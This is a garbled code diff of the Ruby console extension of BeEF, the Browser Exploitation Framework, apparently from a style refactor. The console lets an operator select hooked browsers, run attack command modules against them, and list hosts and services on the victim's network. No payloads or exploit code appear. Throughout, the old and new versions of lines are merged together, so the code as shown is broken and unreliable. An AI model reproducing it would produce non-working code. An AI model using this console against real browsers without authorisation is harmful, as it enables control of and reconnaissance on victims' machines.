BeEF::Core::Configuration.instance.set('beef.extension.console.loaded', false) BeEF::Core::Configuration.instance.set('beef.extension.console.enable', false)
BeEF::Core::Configuration.instance.set('beef.extension.console.loaded', false)
end
end end
end end
end end
end end
end
end

View File

@@ -4,24 +4,23 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
module Console module Console
module CommandDispatcher
include Rex::Ui::Text::DispatcherShell::CommandDispatcher
module CommandDispatcher def initialize(driver)
include Rex::Ui::Text::DispatcherShell::CommandDispatcher super
def initialize(driver) self.driver = driver
super end
self.driver = driver attr_accessor :driver
end
end
end end
attr_accessor :driver
end end
end end end
require 'extensions/console/lib/command_dispatcher/core' require 'extensions/console/lib/command_dispatcher/core'
require 'extensions/console/lib/command_dispatcher/target' require 'extensions/console/lib/command_dispatcher/target'
require 'extensions/console/lib/command_dispatcher/command' require 'extensions/console/lib/command_dispatcher/command'

View File

@@ -4,193 +4,197 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
module Console module Console
module CommandDispatcher module CommandDispatcher
class Command
class Command include BeEF::Extension::Console::CommandDispatcher
include BeEF::Extension::Console::CommandDispatcher
@@params = [] @@params = []
def initialize(driver)
super
begin
driver.interface.cmd['Data'].each{|data|
@@params << data['name']
}
rescue
return
end
end
def commands
{
"execute" => "Go! Execute the command module",
"param" => "Set parameters for this module",
"response" => "Get previous responses to this command module",
"cmdinfo" => "See information about this particular command module"
}
end
def name
"Command"
end
@@bare_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help." ])
def cmd_cmdinfo(*args)
@@bare_opts.parse(args) {|opt, idx, val|
case opt
when "-h"
cmd_cmdinfo_help
return false
end
}
print_line("Module name: " + driver.interface.cmd['Name'])
print_line("Module category: " + driver.interface.cmd['Category'].to_s)
print_line("Module description: " + driver.interface.cmd['Description'])
print_line("Module parameters:") if not driver.interface.cmd['Data'].length == 0
driver.interface.cmd['Data'].each{|data| def initialize(driver)
if data['type'].eql?("combobox") super
print_line(data['name'] + " => \"" + data['value'].to_s + "\" # " + data['ui_label'] + " (Options include: " + data['store_data'].to_s + ")") begin
else driver.interface.cmd['Data'].each do |data|
print_line(data['name'] + " => \"" + data['value'].to_s + "\" # " + data['ui_label']) @@params << data['name']
end end
} if not driver.interface.cmd['Data'].nil? rescue StandardError
end nil
end
def cmd_cmdinfo_help(*args) end
print_status("Displays information about the current command module")
end
def cmd_param(*args)
@@bare_opts.parse(args) {|opt, idx, val|
case opt
when "-h"
cmd_param_help
return false
end
}
if (args[0] == nil || args[1] == nil)
cmd_param_help
return
else
p = ""
(1..args.length-1).each do |x|
p << args[x] << " "
end
p.chop!
driver.interface.setparam(args[0],p)
end
end
def cmd_param_help(*args)
print_status("Sets parameters for the current modules. Run \"cmdinfo\" to see the parameter values")
print_status(" Usage: param <paramname> <paramvalue>")
end
def cmd_param_tabs(str,words) def commands
return if words.length > 1 {
'execute' => 'Go! Execute the command module',
'param' => 'Set parameters for this module',
'response' => 'Get previous responses to this command module',
'cmdinfo' => 'See information about this particular command module'
}
end
if @@params == "" def name
#nothing prepopulated? 'Command'
else end
return @@params
end
end
def cmd_execute(*args)
@@bare_opts.parse(args) {|opt, idx, val|
case opt
when "-h"
cmd_execute_help
return false
end
}
if driver.interface.executecommand == true
print_status("Command successfully queued")
else
print_status("Something went wrong")
end
end
def cmd_execute_help(*args)
print_status("Execute this module... go on!")
end
def cmd_response(*args)
@@bare_opts.parse(args) {|opt, idx, val|
case opt
when "-h"
cmd_response_help
return false
end
}
tbl = Rex::Ui::Text::Table.new(
'Columns' =>
[
'Id',
'Executed Time',
'Response Time'
])
if args[0] == nil @@bare_opts = Rex::Parser::Arguments.new(
lastcmdid = nil '-h' => [false, 'Help.']
driver.interface.getcommandresponses.each do |resp| )
indiresp = driver.interface.getindividualresponse(resp['object_id'])
respout = ""
if indiresp.nil? or indiresp[0].nil?
respout = "No response yet"
else
respout = Time.at(indiresp[0]['date'].to_i).to_s
lastcmdid = resp['object_id']
end
tbl << [resp['object_id'].to_s, resp['creationdate'], respout]
end
puts "\n"
puts "List of responses for this command module:\n"
puts tbl.to_s + "\n"
if not lastcmdid.nil? def cmd_cmdinfo(*args)
resp = driver.interface.getindividualresponse(lastcmdid) @@bare_opts.parse(args) do |opt, _idx, _val|
puts "\n" case opt
print_line("The last response [" + lastcmdid.to_s + "] was retrieved: " + Time.at(resp[0]['date'].to_i).to_s) when '-h'
print_line("Response:") cmd_cmdinfo_help
resp.each do |op| return false
print_line(op['data']['data'].to_s) end
end end
end
else print_line('Module name: ' + driver.interface.cmd['Name'])
output = driver.interface.getindividualresponse(args[0]) print_line('Module category: ' + driver.interface.cmd['Category'].to_s)
if output.nil? print_line('Module description: ' + driver.interface.cmd['Description'])
print_line("Invalid response ID") print_line('Module parameters:') unless driver.interface.cmd['Data'].length == 0
elsif output[0].nil?
print_line("No response yet from the hooked browser or perhaps an invalid response ID") unless driver.interface.cmd['Data'].nil?
else driver.interface.cmd['Data'].each do |data|
print_line("Results retrieved: " + Time.at(output[0]['date'].to_i).to_s) if data['type'].eql?('combobox')
print_line("") print_line(data['name'] + ' => "' + data['value'].to_s + '" # ' + data['ui_label'] + ' (Options include: ' + data['store_data'].to_s + ')')
print_line("Response:") else
output.each do |op| print_line(data['name'] + ' => "' + data['value'].to_s + '" # ' + data['ui_label'])
print_line(op['data']['data'].to_s) end
end
end
end
def cmd_cmdinfo_help(*_args)
print_status('Displays information about the current command module')
end
def cmd_param(*args)
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when '-h'
cmd_param_help
return false
end
end
if args[0].nil? || args[1].nil?
cmd_param_help
nil
else
p = ''
(1..args.length - 1).each do |x|
p << args[x] << ' '
end
p.chop!
driver.interface.setparam(args[0], p)
end
end
def cmd_param_help(*_args)
print_status('Sets parameters for the current modules. Run "cmdinfo" to see the parameter values')
print_status(' Usage: param <paramname> <paramvalue>')
end
def cmd_param_tabs(_str, words)
return if words.length > 1
if @@params == ''
# nothing prepopulated?
else
@@params
end
end
def cmd_execute(*args)
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when '-h'
cmd_execute_help
return false
end
end
if driver.interface.executecommand == true
print_status('Command successfully queued')
else
print_status('Something went wrong')
end
end
def cmd_execute_help(*_args)
print_status('Execute this module... go on!')
end
def cmd_response(*args)
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when '-h'
cmd_response_help
return false
end
end
tbl = Rex::Ui::Text::Table.new(
'Columns' =>
[
'Id',
'Executed Time',
'Response Time'
]
)
if args[0].nil?
lastcmdid = nil
driver.interface.getcommandresponses.each do |resp|
indiresp = driver.interface.getindividualresponse(resp['object_id'])
respout = ''
if indiresp.nil? or indiresp[0].nil?
respout = 'No response yet'
else
respout = Time.at(indiresp[0]['date'].to_i).to_s
lastcmdid = resp['object_id']
end
tbl << [resp['object_id'].to_s, resp['creationdate'], respout]
end
puts "\n"
puts "List of responses for this command module:\n"
puts tbl.to_s + "\n"
unless lastcmdid.nil?
resp = driver.interface.getindividualresponse(lastcmdid)
puts "\n"
print_line('The last response [' + lastcmdid.to_s + '] was retrieved: ' + Time.at(resp[0]['date'].to_i).to_s)
print_line('Response:')
resp.each do |op|
print_line(op['data']['data'].to_s)
end
end
else
output = driver.interface.getindividualresponse(args[0])
if output.nil?
print_line('Invalid response ID')
elsif output[0].nil?
print_line('No response yet from the hooked browser or perhaps an invalid response ID')
else
print_line('Results retrieved: ' + Time.at(output[0]['date'].to_i).to_s)
print_line('')
print_line('Response:')
output.each do |op|
print_line(op['data']['data'].to_s)
end
end
end
end
def cmd_response_help(*_args)
print_status('List and review particular responses to this command')
print_status(' Usage: response (id)')
print_status(" If you omit id you'll see a list of all responses for the currently active command module")
end
end end
end end
end end
end end
def cmd_response_help(*args)
print_status("List and review particular responses to this command")
print_status(" Usage: response (id)")
print_status(" If you omit id you'll see a list of all responses for the currently active command module")
end
end end
end end end end

File diff suppressed because it is too large Load Diff

View File

@@ -4,288 +4,282 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
module Console module Console
module CommandDispatcher module CommandDispatcher
class Target
class Target include BeEF::Extension::Console::CommandDispatcher
include BeEF::Extension::Console::CommandDispatcher
@@commands = []
def initialize(driver)
super
begin
driver.interface.getcommands.each { |folder|
folder['children'].each { |command|
@@commands << folder['text'].gsub(/\s/,"_") + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_")
}
}
rescue
return
end
end
def commands
{
"commands" => "List available commands against this particular target",
"info" => "Info about the target",
"select" => "Prepare the command module for execution against this target",
"hosts" => "List identified network hosts",
"services" => "List identified network services"
}
end
def name
"Target"
end
@@bare_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help." ])
@@commands_opts = Rex::Parser::Arguments.new( @@commands = []
"-h" => [ false, "Help."],
"-s" => [ false, "<search term>"],
"-r" => [ false, "List modules which have responses against them only"])
def cmd_commands(*args)
searchstring = nil def initialize(driver)
responly = nil super
begin
@@commands_opts.parse(args) {|opt, idx, val| driver.interface.getcommands.each do |folder|
case opt folder['children'].each do |command|
when "-h" @@commands << (folder['text'].gsub(/\s/, '_') + command['text'].gsub(/[-()]/, '').gsub(/\W+/, '_'))
cmd_commands_help end
return false end
when "-s" rescue StandardError
searchstring = args[1].downcase if not args[1].nil? nil
when "-r" end
responly = true
end
}
tbl = Rex::Ui::Text::Table.new(
'Columns' =>
[
'Id',
'Command',
'Status',
'Execute Count'
])
driver.interface.getcommands.each { |folder|
folder['children'].each { |command|
cmdstring = folder['text'].gsub(/\s/,"_") + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_")
if not searchstring.nil?
if not cmdstring.downcase.index(searchstring).nil?
tbl << [command['id'].to_i,
cmdstring,
command['status'].gsub(/^Verified /,""),
driver.interface.getcommandresponses(command['id']).length] #TODO
end end
elsif not responly.nil?
tbl << [command['id'].to_i,
cmdstring,
command['status'].gsub(/^Verified /,""),
driver.interface.getcommandresponses(command['id']).length] if driver.interface.getcommandresponses(command['id']).length.to_i > 0
else def commands
tbl << [command['id'].to_i, {
cmdstring, 'commands' => 'List available commands against this particular target',
command['status'].gsub(/^Verified /,""), 'info' => 'Info about the target',
driver.interface.getcommandresponses(command['id']).length] #TODO 'select' => 'Prepare the command module for execution against this target',
end 'hosts' => 'List identified network hosts',
'services' => 'List identified network services'
} }
}
puts "\n"
puts "List command modules for this target\n"
puts tbl.to_s + "\n"
end
def cmd_commands_help(*args)
print_status("List command modules for this target")
print_line("Usage: commands [options]")
print_line
print @@commands_opts.usage()
end
def cmd_info(*args)
@@bare_opts.parse(args) {|opt, idx, val|
case opt
when "-h"
cmd_info_help
return false
end
}
tbl = Rex::Ui::Text::Table.new(
'Columns' =>
[
'Param',
'Value'
])
driver.interface.select_zombie_summary['results'].each { |x|
x['data'].each { |k,v|
tbl << [k,v]
}
}
puts "\nHooked Browser Info:\n"
puts tbl.to_s + "\n"
end
def cmd_info_help(*args)
print_status("Display initialisation information about the hooked browser.")
end
def cmd_hosts(*args)
@@bare_opts.parse(args) {|opt, idx, val|
case opt
when "-h"
cmd_hosts_help
return false
end
}
configuration = BeEF::Core::Configuration.instance
if !configuration.get("beef.extension.network.enable")
print_error("Network extension is disabled")
return
end
tbl = Rex::Ui::Text::Table.new(
'Columns' =>
[
'IP',
'Hostname',
'Type',
'Operating System',
'MAC Address',
'Last Seen'
])
driver.interface.select_network_hosts['results'].each do |x|
tbl << [x['ip'],x['hostname'],x['type'],x['os'],x['mac'],x['lastseen']]
end
puts "\nNetwork Hosts:\n\n"
puts tbl.to_s + "\n"
end
def cmd_hosts_help(*args)
print_status("Display information about network hosts on the hooked browser's network.")
end
def cmd_services(*args)
@@bare_opts.parse(args) {|opt, idx, val|
case opt
when "-h"
cmd_services_help
return false
end
}
configuration = BeEF::Core::Configuration.instance
if !configuration.get("beef.extension.network.enable")
print_error("Network extension is disabled")
return
end
tbl = Rex::Ui::Text::Table.new(
'Columns' =>
[
'IP',
'Port',
'Protocol',
'Type'
])
driver.interface.select_network_services['results'].each do |x|
tbl << [x['ip'],x['port'],x['proto'],x['type']]
end
puts "\nNetwork Services:\n\n"
puts tbl.to_s + "\n"
end
def cmd_services_help(*args)
print_status("Display information about network services on the hooked browser's network.")
end
def cmd_select(*args)
@@bare_opts.parse(args) {|opt, idx, val|
case opt
when "-h"
cmd_select_help
return false
end
}
if args[0] == nil
cmd_select_help
return false
end
modid = nil
if args[0] =~ /[0-9]+/
modid = args[0]
else
driver.interface.getcommands.each { |x|
x['children'].each { |y|
if args[0].chomp == x['text'].gsub(/\s/,"_")+y['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_")
modid = y['id']
end end
}
}
end
if modid.nil?
print_status("Could not find command module")
return false
end
driver.interface.setcommand(modid)
driver.enstack_dispatcher(Command) if driver.dispatched_enstacked(Command) == false
if driver.interface.targetid.length > 1
driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] / "+driver.interface.cmd['Name']+" ")
else
driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] / "+driver.interface.cmd['Name']+" ")
end
end def name
'Target'
def cmd_select_help(*args) end
print_status("Select a command module to use against the current target")
print_status(" Usage: module <id> OR <modulename>") @@bare_opts = Rex::Parser::Arguments.new(
end '-h' => [false, 'Help.']
)
def cmd_select_tabs(str,words)
return if words.length > 1 @@commands_opts = Rex::Parser::Arguments.new(
'-h' => [false, 'Help.'],
if @@commands == "" '-s' => [false, '<search term>'],
#nothing prepopulated? '-r' => [false, 'List modules which have responses against them only']
else )
return @@commands
def cmd_commands(*args)
searchstring = nil
responly = nil
@@commands_opts.parse(args) do |opt, _idx, _val|
case opt
when '-h'
cmd_commands_help
return false
when '-s'
searchstring = args[1].downcase unless args[1].nil?
when '-r'
responly = true
end
end
tbl = Rex::Ui::Text::Table.new(
'Columns' =>
[
'Id',
'Command',
'Status',
'Execute Count'
]
)
driver.interface.getcommands.each do |folder|
folder['children'].each do |command|
cmdstring = folder['text'].gsub(/\s/, '_') + command['text'].gsub(/[-()]/, '').gsub(/\W+/, '_')
if !searchstring.nil?
unless cmdstring.downcase.index(searchstring).nil?
tbl << [command['id'].to_i,
cmdstring,
command['status'].gsub(/^Verified /, ''),
driver.interface.getcommandresponses(command['id']).length] # TODO
end
elsif !responly.nil?
if driver.interface.getcommandresponses(command['id']).length.to_i > 0
tbl << [command['id'].to_i,
cmdstring,
command['status'].gsub(/^Verified /, ''),
driver.interface.getcommandresponses(command['id']).length]
end
else
tbl << [command['id'].to_i,
cmdstring,
command['status'].gsub(/^Verified /, ''),
driver.interface.getcommandresponses(command['id']).length] # TODO
end
end
end
puts "\n"
puts "List command modules for this target\n"
puts tbl.to_s + "\n"
end
def cmd_commands_help(*_args)
print_status('List command modules for this target')
print_line('Usage: commands [options]')
print_line
print @@commands_opts.usage
end
def cmd_info(*args)
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when '-h'
cmd_info_help
return false
end
end
tbl = Rex::Ui::Text::Table.new(
'Columns' =>
%w[
Param
Value
]
)
driver.interface.select_zombie_summary['results'].each do |x|
x['data'].each do |k, v|
tbl << [k, v]
end
end
puts "\nHooked Browser Info:\n"
puts tbl.to_s + "\n"
end
def cmd_info_help(*_args)
print_status('Display initialisation information about the hooked browser.')
end
def cmd_hosts(*args)
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when '-h'
cmd_hosts_help
return false
end
end
configuration = BeEF::Core::Configuration.instance
unless configuration.get('beef.extension.network.enable')
print_error('Network extension is disabled')
return
end
tbl = Rex::Ui::Text::Table.new(
'Columns' =>
[
'IP',
'Hostname',
'Type',
'Operating System',
'MAC Address',
'Last Seen'
]
)
driver.interface.select_network_hosts['results'].each do |x|
tbl << [x['ip'], x['hostname'], x['type'], x['os'], x['mac'], x['lastseen']]
end
puts "\nNetwork Hosts:\n\n"
puts tbl.to_s + "\n"
end
def cmd_hosts_help(*_args)
print_status("Display information about network hosts on the hooked browser's network.")
end
def cmd_services(*args)
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when '-h'
cmd_services_help
return false
end
end
configuration = BeEF::Core::Configuration.instance
unless configuration.get('beef.extension.network.enable')
print_error('Network extension is disabled')
return
end
tbl = Rex::Ui::Text::Table.new(
'Columns' =>
%w[
IP
Port
Protocol
Type
]
)
driver.interface.select_network_services['results'].each do |x|
tbl << [x['ip'], x['port'], x['proto'], x['type']]
end
puts "\nNetwork Services:\n\n"
puts tbl.to_s + "\n"
end
def cmd_services_help(*_args)
print_status("Display information about network services on the hooked browser's network.")
end
def cmd_select(*args)
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when '-h'
cmd_select_help
return false
end
end
if args[0].nil?
cmd_select_help
return false
end
modid = nil
if args[0] =~ /[0-9]+/
modid = args[0]
else
driver.interface.getcommands.each do |x|
x['children'].each do |y|
modid = y['id'] if args[0].chomp == x['text'].gsub(/\s/, '_') + y['text'].gsub(/[-()]/, '').gsub(/\W+/, '_')
end
end
end
if modid.nil?
print_status('Could not find command module')
return false
end
driver.interface.setcommand(modid)
driver.enstack_dispatcher(Command) if driver.dispatched_enstacked(Command) == false
if driver.interface.targetid.length > 1
driver.update_prompt('(%bld%redMultiple%clr) [' + driver.interface.targetid.join(',') + '] / ' + driver.interface.cmd['Name'] + ' ')
else
driver.update_prompt('(%bld%red' + driver.interface.targetip + '%clr) [' + driver.interface.targetid.first.to_s + '] / ' + driver.interface.cmd['Name'] + ' ')
end
end
def cmd_select_help(*_args)
print_status('Select a command module to use against the current target')
print_status(' Usage: module <id> OR <modulename>')
end
def cmd_select_tabs(_str, words)
return if words.length > 1
if @@commands == ''
# nothing prepopulated?
else
@@commands
end
end
end
end
end end
end end
end end
end end end end

View File

@@ -4,450 +4,429 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
module Console module Console
class ShellInterface
BD = BeEF::Core::Models::BrowserDetails
class ShellInterface def initialize(config)
self.config = config
BD = BeEF::Core::Models::BrowserDetails self.cmd = {}
def initialize(config)
self.config = config
self.cmd = {}
end
def settarget(id)
begin
self.targetsession = BeEF::Core::Models::HookedBrowser.find(id).session
self.targetip = BeEF::Core::Models::HookedBrowser.find(id).ip
self.targetid = id
rescue
return nil
end
end
def setofflinetarget(id)
begin
self.targetsession = BeEF::Core::Models::HookedBrowser.find(id).session
self.targetip = "(OFFLINE) " + BeEF::Core::Models::HookedBrowser.find(id).ip
self.targetid = id
rescue
return nil
end
end
def cleartarget
self.targetsession = nil
self.targetip = nil
self.targetid = nil
self.cmd = {}
end
# @note Get commands. This is a *modified* replica of select_command_modules_tree from extensions/admin_ui/controllers/modules/modules.rb
def getcommands
return if self.targetid.nil?
tree = []
BeEF::Modules.get_categories.each { |c|
if c[-1,1] != "/"
c.concat("/")
end
tree.push({
'text' => c,
'cls' => 'folder',
'children' => []
})
}
BeEF::Modules.get_enabled.each{|k, mod|
flatcategory = ""
if mod['category'].kind_of?(Array)
# Therefore this module has nested categories (sub-folders), munge them together into a string with '/' characters, like a folder.
mod['category'].each {|cat|
flatcategory << cat + "/"
}
else
flatcategory = mod['category']
if flatcategory[-1,1] != "/"
flatcategory.concat("/")
end
end
update_command_module_tree(tree, flatcategory, get_command_module_status(k), mod['name'],mod['db']['id'])
}
# if dynamic modules are found in the DB, then we don't have yaml config for them
# and loading must proceed in a different way.
dynamic_modules = BeEF::Core::Models::CommandModule.where('path LIKE ?', 'Dynamic/')
if(dynamic_modules != nil)
all_modules = BeEF::Core::Models::CommandModule.all.order(:id)
all_modules.each{|dyn_mod|
next if !dyn_mod.path.split('/').first.match(/^Dynamic/)
dyn_mod_name = dyn_mod.path.split('/').last
dyn_mod_category = nil
if(dyn_mod_name == "Msf")
dyn_mod_category = "Metasploit"
else
# future dynamic modules...
end end
#print_debug ("Loading Dynamic command module: category [#{dyn_mod_category}] - name [#{dyn_mod.name.to_s}]") def settarget(id)
command_mod = BeEF::Modules::Commands.const_get(dyn_mod_name.capitalize).new self.targetsession = BeEF::Core::Models::HookedBrowser.find(id).session
command_mod.session_id = hook_session_id self.targetip = BeEF::Core::Models::HookedBrowser.find(id).ip
command_mod.update_info(dyn_mod.id) self.targetid = id
command_mod_name = command_mod.info['Name'].downcase rescue StandardError
nil
update_command_module_tree(tree, dyn_mod_category, "Verified Unknown", command_mod_name,dyn_mod.id)
}
end
# sort the parent array nodes
tree.sort! {|a,b| a['text'] <=> b['text']}
# sort the children nodes by status
tree.each {|x| x['children'] =
x['children'].sort_by {|a| a['status']}
}
# append the number of command modules so the branch name results in: "<category name> (num)"
#tree.each {|command_module_branch|
# num_of_command_modules = command_module_branch['children'].length
# command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")"
#}
# return a JSON array of hashes
tree
end
def setcommand(id)
key = BeEF::Module.get_key_by_database_id(id.to_i)
self.cmd['id'] = id
self.cmd['Name'] = self.config.get("beef.module.#{key}.name")
self.cmd['Description'] = self.config.get("beef.module.#{key}.description")
self.cmd['Category'] = self.config.get("beef.module.#{key}.category")
self.cmd['Data'] = BeEF::Module.get_options(key)
end
def clearcommand
self.cmd = {}
end
def setparam(param,value)
self.cmd['Data'].each do |data|
if data['name'] == param
data['value'] = value
return
end
end
end
def getcommandresponses(cmdid = self.cmd['id'])
commands = []
i = 0
BeEF::Core::Models::Command.where(:command_module_id => cmdid, :hooked_browser_id => self.targetid).each do |command|
commands.push({
'id' => i,
'object_id' => command.id,
'creationdate' => Time.at(command.creationdate.to_i).strftime("%Y-%m-%d %H:%M").to_s,
'label' => command.label
})
i+=1
end
commands
end
def getindividualresponse(cmdid)
results = []
begin
BeEF::Core::Models::Result.where(:command_id => cmdid).each { |result|
results.push({'date' => result.date, 'data' => JSON.parse(result.data)})
}
rescue
return nil
end
results
end
def executecommand
definition = {}
options = {}
options.store("zombie_session", self.targetsession.to_s)
options.store("command_module_id", self.cmd['id'])
if not self.cmd['Data'].nil?
self.cmd['Data'].each do |key|
options.store("txt_"+key['name'].to_s,key['value'])
end
end
options.keys.each {|param|
definition[param[4..-1]] = options[param]
oc = BeEF::Core::Models::OptionCache.first_or_create(:name => param[4..-1])
oc.value = options[param]
oc.save
}
mod_key = BeEF::Module.get_key_by_database_id(self.cmd['id'])
# Hack to rework the old option system into the new option system
def2 = []
definition.each{|k,v|
def2.push({'name' => k, 'value' => v})
}
# End hack
if BeEF::Module.execute(mod_key, self.targetsession.to_s, def2) != nil
return true
else
return false
end
#Old method
#begin
# BeEF::Core::Models::Command.new( :data => definition.to_json,
# :hooked_browser_id => self.targetid,
# :command_module_id => self.cmd['id'],
# :creationdate => Time.new.to_i
# ).save
#rescue
# return false
#end
#return true
end
def update_command_module_tree(tree, cmd_category, cmd_status, cmd_name, cmd_id)
# construct leaf node for the command module tree
leaf_node = {
'text' => cmd_name,
'leaf' => true,
'status' => cmd_status,
'id' => cmd_id
}
# add the node to the branch in the command module tree
tree.each {|x|
if x['text'].eql? cmd_category
x['children'].push( leaf_node )
break
end end
}
end
def get_command_module_status(mod) def setofflinetarget(id)
hook_session_id = self.targetsession self.targetsession = BeEF::Core::Models::HookedBrowser.find(id).session
if hook_session_id == nil self.targetip = '(OFFLINE) ' + BeEF::Core::Models::HookedBrowser.find(id).ip
return "Verified Unknown" self.targetid = id
end rescue StandardError
case BeEF::Module.support(mod, { nil
'browser' => BD.get(hook_session_id, 'BrowserName'), end
'ver' => BD.get(hook_session_id, 'BrowserVersion'),
'os' => [BD.get(hook_session_id, 'OsName')]})
when BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING def cleartarget
return "Verified Not Working" self.targetsession = nil
when BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY self.targetip = nil
return "Verified User Notify" self.targetid = nil
when BeEF::Core::Constants::CommandModule::VERIFIED_WORKING self.cmd = {}
return "Verified Working" end
when BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN
return "Verified Unknown"
else
return "Verified Unknown"
end
end
# @note Returns a JSON array containing the summary for a selected zombie. # @note Get commands. This is a *modified* replica of select_command_modules_tree from extensions/admin_ui/controllers/modules/modules.rb
# Yoinked from the UI panel - def getcommands
# we really need to centralise all this stuff and encapsulate it away. return if targetid.nil?
def select_zombie_summary
return if self.targetsession.nil? tree = []
BeEF::Modules.get_categories.each do |c|
c.concat('/') if c[-1, 1] != '/'
tree.push({
'text' => c,
'cls' => 'folder',
'children' => []
})
end
# init the summary grid BeEF::Modules.get_enabled.each do |k, mod|
summary_grid_hash = { flatcategory = ''
'success' => 'true', if mod['category'].is_a?(Array)
'results' => [] # Therefore this module has nested categories (sub-folders), munge them together into a string with '/' characters, like a folder.
} mod['category'].each do |cat|
flatcategory << (cat + '/')
end
else
flatcategory = mod['category']
flatcategory.concat('/') if flatcategory[-1, 1] != '/'
end
# zombie properties update_command_module_tree(tree, flatcategory, get_command_module_status(k), mod['name'], mod['db']['id'])
# in the form of: category, UI label, value end
zombie_properties = [
# Browser # if dynamic modules are found in the DB, then we don't have yaml config for them
['Browser', 'Browser Name', 'BrowserName'], # and loading must proceed in a different way.
['Browser', 'Browser Version', 'BrowserVersion'], dynamic_modules = BeEF::Core::Models::CommandModule.where('path LIKE ?', 'Dynamic/')
['Browser', 'Browser UA String', 'BrowserReportedName'],
['Browser', 'Browser Language', 'BrowserLanguage'],
['Browser', 'Browser Platform', 'BrowserPlatform'],
['Browser', 'Browser Plugins', 'BrowserPlugins'],
['Browser', 'Window Size', 'WindowSize'],
# Browser Components unless dynamic_modules.nil?
['Browser Components', 'Flash', 'HasFlash'], all_modules = BeEF::Core::Models::CommandModule.all.order(:id)
['Browser Components', 'Java', 'JavaEnabled'], all_modules.each do |dyn_mod|
['Browser Components', 'VBScript', 'VBScriptEnabled'], next unless dyn_mod.path.split('/').first.match(/^Dynamic/)
['Browser Components', 'PhoneGap', 'HasPhonegap'],
['Browser Components', 'Google Gears', 'HasGoogleGears'],
['Browser Components', 'Web Sockets', 'HasWebSocket'],
['Browser Components', 'QuickTime', 'HasQuickTime'],
['Browser Components', 'RealPlayer', 'HasRealPlayer'],
['Browser Components', 'Windows Media Player','HasWMP'],
['Browser Components', 'VLC', 'HasVLC'],
['Browser Components', 'WebRTC', 'HasWebRTC'],
['Browser Components', 'ActiveX', 'HasActiveX'],
['Browser Components', 'Session Cookies', 'hasSessionCookies'],
['Browser Components', 'Persistent Cookies', 'hasPersistentCookies'],
# Hooked Page dyn_mod_name = dyn_mod.path.split('/').last
['Hooked Page', 'Page Title', 'PageTitle'], dyn_mod_category = nil
['Hooked Page', 'Page URI', 'PageURI'], if dyn_mod_name == 'Msf'
['Hooked Page', 'Page Referrer', 'PageReferrer'], dyn_mod_category = 'Metasploit'
['Hooked Page', 'Hook Host', 'HostName'], else
['Hooked Page', 'Cookies', 'Cookies'], # future dynamic modules...
end
# Host # print_debug ("Loading Dynamic command module: category [#{dyn_mod_category}] - name [#{dyn_mod.name.to_s}]")
['Host', 'Date', 'DateStamp'], command_mod = BeEF::Modules::Commands.const_get(dyn_mod_name.capitalize).new
['Host', 'Operating System', 'OsName'], command_mod.session_id = hook_session_id
['Host', 'Hardware', 'Hardware'], command_mod.update_info(dyn_mod.id)
['Host', 'CPU', 'CPU'], command_mod_name = command_mod.info['Name'].downcase
['Host', 'Default Browser', 'DefaultBrowser'],
['Host', 'Screen Size', 'ScreenSize'],
['Host', 'Touch Screen', 'TouchEnabled']
]
# set and add the return values for each browser property update_command_module_tree(tree, dyn_mod_category, 'Verified Unknown', command_mod_name, dyn_mod.id)
# in the form of: category, UI label, value end
zombie_properties.each do |p| end
case p[2] # sort the parent array nodes
when "BrowserName" tree.sort! { |a, b| a['text'] <=> b['text'] }
data = BeEF::Core::Constants::Browsers.friendly_name(BD.get(self.targetsession.to_s, p[2])).to_s
when "ScreenSize" # sort the children nodes by status
screen_size_hash = JSON.parse(BD.get(self.targetsession.to_s, p[2]).gsub(/\"\=\>/, '":')) # tidy up the string for JSON tree.each do |x|
width = screen_size_hash['width'] x['children'] =
height = screen_size_hash['height'] x['children'].sort_by { |a| a['status'] }
cdepth = screen_size_hash['colordepth'] end
data = "Width: #{width}, Height: #{height}, Colour Depth: #{cdepth}"
when "WindowSize" # append the number of command modules so the branch name results in: "<category name> (num)"
window_size_hash = JSON.parse(BD.get(self.targetsession.to_s, p[2]).gsub(/\"\=\>/, '":')) # tidy up the string for JSON # tree.each {|command_module_branch|
width = window_size_hash['width'] # num_of_command_modules = command_module_branch['children'].length
height = window_size_hash['height'] # command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")"
data = "Width: #{width}, Height: #{height}" # }
else
data = BD.get(self.targetsession, p[2])
end
# add property to summary hash # return a JSON array of hashes
if not data.nil? tree
summary_grid_hash['results'].push({ end
'category' => p[0],
'data' => { p[1] => CGI.escapeHTML("#{data}") },
'from' => 'Initialization'
})
end
end def setcommand(id)
key = BeEF::Module.get_key_by_database_id(id.to_i)
summary_grid_hash cmd['id'] = id
end cmd['Name'] = config.get("beef.module.#{key}.name")
cmd['Description'] = config.get("beef.module.#{key}.description")
cmd['Category'] = config.get("beef.module.#{key}.category")
cmd['Data'] = BeEF::Module.get_options(key)
end
def select_network_hosts def clearcommand
self.cmd = {}
end
return if self.targetsession.nil? def setparam(param, value)
cmd['Data'].each do |data|
if data['name'] == param
data['value'] = value
return
end
end
end
